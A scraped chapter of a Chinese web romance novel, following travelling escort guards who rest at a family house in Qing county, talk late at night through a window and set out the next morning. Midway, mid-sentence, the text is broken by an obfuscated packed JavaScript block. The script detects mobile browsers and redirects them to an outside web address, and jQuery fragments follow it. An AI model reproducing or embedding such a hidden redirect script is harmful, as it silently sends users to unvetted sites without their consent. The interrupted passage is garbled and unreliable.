文趣网 > 其他小说 > 冷酷镖头追貌美小夫郎 > 69. 等待进入网审
    青县不大,却是个热闹的地方。

    街道两旁店铺林立,炊烟从屋顶袅袅升起,空气里飘着饭菜的香气。行人来来往往,有挑着担子的小贩在叫卖,有孩童在巷口追逐嬉戏,还有几个妇人提着菜篮子,站在路边聊天。

    林旭景策马走在前面,领着车队拐进一条僻静的巷子。

    巷子尽头,是一扇黑漆大门,门楣上挂着“林宅”的匾额。

    “到了。”林旭景翻身下马,拍了拍门环。

    门很快开了,一个老仆探出头来,看清是林旭景,连忙把门大开,惊喜道:“少爷回来了!快进来,快进来!”

    车队鱼贯而入,宅子不大,却收拾得干干净净,院子里还种着几株桂树,枝叶被雨水洗得发亮。

    杜清川下了马车,活动了一下僵硬的筋骨,抬头看了看天,云层散尽,露出几颗早出的星子,在天边闪着微弱的光。

    “今晚好好歇息。”林旭景走过来,拍了拍他的肩,“后日才出发,明日我去仓库取货,你呀,可以带上安然跟知瑶,去逛逛青县。”

    杜清川眼睛一亮:“可以逛吗?”

    林旭景被他这反应逗笑了:“可以,但千万不能乱跑。”

    杜清川乖乖点头,嘴角翘得老高。

    那边,于敏信已经拉着林黎夕在院子里转了一圈,回来时满脸兴奋:“这宅子好啊!有灶台!今晚能吃点好吃的了!”

    林黎夕淡淡瞥他一眼:“你就知道吃。”

    于敏信理直气壮:“我都啃了好几天干饼了!想吃口热饭怎么了!”

    林黎夕没理他,转身去卸货了,于敏信跟在他后面,絮絮叨叨地报菜名,从红烧肉念到清蒸鱼,从饺子念到馄饨,念得旁边的镖师都忍不住咽口水。

    杜清川站在廊下,看着这一幕,忍不住笑了。

    他低头,从怀里摸出那个水囊,里头已经空了,但姜茶的香气却还在,他把水囊抱在怀里。

    东西简单整理好,便进厅用饭了。

    热气腾腾的饭菜端上来,众人终于吃上了连日来的第一顿热乎饭。

    于敏信一口气扒了四碗饭,吃得热泪盈眶:“这才是人过的日子啊……”林黎夕面无表情地给他夹了块红烧肉,堵住了他的嘴。

    饭后,林旭景亲自安排了住处。

    杜清川被安排在东厢,安静又敞亮,窗外就是那几株桂树,安然和知瑶住在隔壁厢房,随时照应,而纪雁行的住处,被安排在了西跨院,隔着整整一个庭院。

    林旭景做完这些,面色如常地与纪雁行客套了几句“委屈纪总镖头”,便转身走了。

    纪雁行站在西跨院门口,看了一眼东厢那盏刚刚亮起的灯,心里却觉得这样正好,那些藏在暗处的人,昨夜折了两个,这几日未必会善罢甘休。

    他们要找的乌木筒在他身上,冲着他来的人,他离杜清川远些,反而不会把危险引到那少年身上。

    他洗漱完,吹灭了灯,便迅速休息。

    东厢这边,杜清川精神得很,毫无睡意。

    连日赶路,他只能在马车里颠簸着写写画画,如今终于有了安稳的桌案,哪里舍得睡?

    他让安然研了墨,便遣他们去休息了,他自己铺开宣纸,把这几日攒在心里的景,一笔一笔地画下来。

    过河那日浑浊的春水、岸边被风吹斜的柳枝、雨后青翠的山峦、石桥下清澈的溪流、田埂上赶牛的老农、山坡上那片开得正好的野花……还有那个站在河边,衣摆湿透、却浑然不觉的人。

    画到这一幅时,他的笔尖顿了顿,盯着纸上那道模糊的轮廓看了一会儿,又继续添了几笔,是剑穗,在风里轻轻晃着。

    画着画着,他又翻出一张新纸,开始写字。

    写的是这几日见到的风土人情:大华景平七年正月二十一过树杨村,见妇人河边洗衣,棒槌起落,水花四溅;大华景平七年正月二十三,闻鸟鸣清脆,不知其名,模样甚好;午后遇雨,宿于山坡,听雨打帐篷,滴答轻响,好不快哉。

    他写得入神,蜡烛短了一截,又一截,窗外的月亮从东边慢悠悠地挪到了西边,桂树的影子在窗纸上慢慢移动。

    丑时过半,纪雁行睁眼,他摸黑倒了杯水,站在窗边慢慢喝着,夜风从窗缝里钻进来,凉丝丝的,带着桂树残留的香气。

    他下意识抬头,便看见东厢那边,还有一扇窗亮着灯。

    烛火跳动着,把那人的影子投在窗纸上,对方低着头,执笔,偶尔停下来想一想,又继续写。

    这么晚了,还没睡,纪雁行放下杯子,披了件外衫,穿过庭院,走到那扇窗前,他站了一会儿,抬手,轻轻敲了两下窗框。

    里面的人似乎吓了一跳,笔尖顿住,吸了口气的呼吸声清晰可闻。

    “谁?”杜清川的声音有些紧张。

    “我。”纪雁行压低声音,“还没睡?”

    窗内安静了一瞬,随即传来椅子轻轻挪动的声音,脚步声靠近,那扇窗被从里面推开一道缝,露出杜清川的半张脸,漂亮得惊人。

    他披着外衫,乌发半束着,脸上还带着方才专注作画时的红晕,眸子在烛光下亮得惊人。

    “纪总镖头?”他有些惊讶,“你怎么还没睡?”

    纪雁行没有回答他的问题,只是看了一眼桌上摊开的画纸和写得密密麻麻的字,声音低了几分:“画到现在?”

    杜清川顺着他的目光看过去,有些不好意思地缩了缩脖子:“一时忘了时辰……”

    纪雁行看着他这副心虚的小模样,唇角微微弯了弯:“明日不想逛了?”

    杜清川一愣,连忙摇头:“想逛的!”

    “那该休息了。”纪雁行的声音不重,却带着一种让人没法反驳的温和,“逛青县要一整日,没精神可逛不完。”

    杜清川张了张嘴,想说自己不困,可眼皮确实有些沉了,他犹豫了一下,乖乖点了点头:“那……我这就睡。”

    纪雁行“嗯”了一声,却没有立刻走。

    杜清川站在窗边,也没有关窗。

    两人隔着一道窗缝,安静地站了一会儿,夜风轻轻吹过来,把杜清川鬓边那缕碎发吹到脸侧,纪雁行下意识伸手拨了一下。

    杜清川一愣,耳根悄悄红了,他小声说:“纪总镖头也该休息了。”

    纪雁行看着他,目光柔和:“听小公子的,你先,我确认你休息了,我就去休息。”

    杜清川闻言,怕耽误了对方休息,便听话地跟对方说了声,然后把窗关上,将烛火吹灭后,等眼睛适应了光线后,摸上了床。

    纪雁行站在窗

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17660581|205069||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    外,听着里面窸窸窣窣的动静,直到一切安静下来,才转身走回西跨院。

    清晨,林旭景敲响了西跨院的门。

    纪雁行正站在窗前系护腕,听到敲门声,他转过头,见是林旭景,微微颔首:“林公子。”

    林旭景走进去,也不绕弯子,开门见山道:“纪总镖头,今日我需去仓库点货,怕是抽不开身。”

    他顿了顿,“清川那孩子头一回到青县,定是想出去逛逛的,让他一个人去我不放心,让他闷在宅子里又舍不得。”

    纪雁行系护腕的手微微一顿,没有说话,只是看着他。

    林旭景对上他的目光,语气坦然:“想来想去,只能厚着脸皮来麻烦纪总镖头了,青县你熟,有你在,我也比较放心。”

    这话说得直白,句句在理。

    纪雁行看着他,明白了林旭景知道自己明天无论他有没有委托,自己都打算跟着,那干脆给自己一个“名正言顺”跟着的理由,说出去也可以说不是他纪雁行自己要跟着,而是受人之托,忠人之事。

    他放下手,语气平稳:“明白。杜公子的安危,纪某定放心上。”

    林旭景点点头,也不再多说,拍了拍他的肩,转身走了,走到门口,又回过头,补了一句:“那孩子容易害羞,纪总镖头……多担待些。”

    纪雁行微微一怔,随即弯了弯唇角:“好。”

    天大亮,青县早已是炊烟和吆喝声。

    杜清川昨晚睡得迟,早上便比平日晚起了大半个时辰,睁开眼时,阳光已经从窗缝里挤进来,在床前的地上画了一道长长的金线。

    他愣了一瞬,猛地坐起来!

    安然端着热水进来,看他这副着急忙慌的模样,忍不住笑道:“公子别急,还早呢。”

    杜清川一边洗漱一边嘟囔:“不早了,是我起晚了……”

    安然心里暗笑,只是手脚麻利地帮杜清川收拾好,又从衣柜里取出一套叠得整整齐齐的新衣裳,是林玉熙之前特地买的,说是“春日新裁,正合穿”。

    杜清川展开一看,是一袭鹅黄色的春衫,领口袖边绣着浅碧色的兰草纹,料子轻薄柔软,像是一层薄薄的春光披在身上。

    他换上后,站在镜子前看了看,“这会不会太鲜亮了?”

    安然替他理了理衣领,认真道:“公子穿这个颜色好看,衬得气色特别的好。”

    杜清川耳根微红,没再说什么,安然又拿了一支碧玉簪帮他把头发束好,这才出了门。

    出了房门,穿过庭院,便见纪雁行已经等在前院了。

    来人也换了身衣裳,不再是常见的玄色,而是一袭深黛蓝色的劲装,领口和袖边用银线绣着流云纹,腰间束着同色的暗纹革带,佩剑斜挎在身侧,剑穗垂落,在晨风里轻轻晃着,衬得他整个人愈发挺拔如山、沉稳如渊。

    他正侧头听于敏信说着什么,神色淡淡的,偶尔点一下头。

    听到脚步声,他转过头,目光落在杜清川身上,停了一瞬。

    鹅黄色的春衫,衬得少年肤白如玉,眉眼间像是被春光洗过,干净又明亮。碧玉簪束起乌发,露出一截白皙的后颈,几缕碎发落在耳侧,被风吹得轻轻晃动。

    他看了好一会儿,才若无其事地移开目光。

    “醒了?”